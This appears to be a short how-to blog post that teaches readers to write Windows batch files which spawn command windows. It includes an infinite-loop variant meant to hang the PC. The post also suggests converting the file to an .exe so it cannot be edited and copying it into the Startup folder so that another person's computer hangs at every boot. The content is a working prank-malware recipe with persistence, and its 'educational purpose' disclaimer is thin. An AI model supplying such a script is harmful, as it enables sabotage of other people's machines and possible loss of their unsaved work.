Make Simple Virus Using Notepad

First of all-this is not virus like trojan or malwares but simply a bat file tricks.We can open lots of cmd(Command Promt) windows by this trick and it also can hang pc.So be careful of using it.
(This is only for educational purpose - no incident will be relate to author)
So let's start...



Simple Virus :


Step 1 : Open 'Notepad' and copy-paste this code in it.

@echo off
start
start
start
start
start
start
start
start
start
start
start
start
start
start

Step 2 : Save it with > anyname.bat

  • Like : don't open.bat
Step 3 : So when we will open that .bat (Windows Batch File) file - many cmd windows will popup.
  • Here how many times we write 'start' in code - same numbers of cmd windows will open.

Looped Virus :


Here we will gonna set loop of 'start' command.So this code will execute infinite times and PC will surely HANG!

Step 1 : Open 'Notepad' and copy-paste this code in it.


@echo off
:start
start
goto start


Step 2 : Also save this with .bat extension.
  • Like : loop.bat
Step 3 : When we open that .bat file - cmd windows will continuously open and soon PC will HANG! ๐Ÿ˜ˆ

> Here anyone can edit .bat file, so its good to convert it into .exe (executable file) using Bat To Exe Converter.


Something New :

Let's do something new.What if we add this loop file to the list of startup programs in system.๐Ÿ˜‚Then when someone open PC and he/she will find opening cmd windows continuously and then PC hangs๐Ÿ˜‰.

So now copy that .bat file into this folder :

C:\Users\USER NAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

That's it!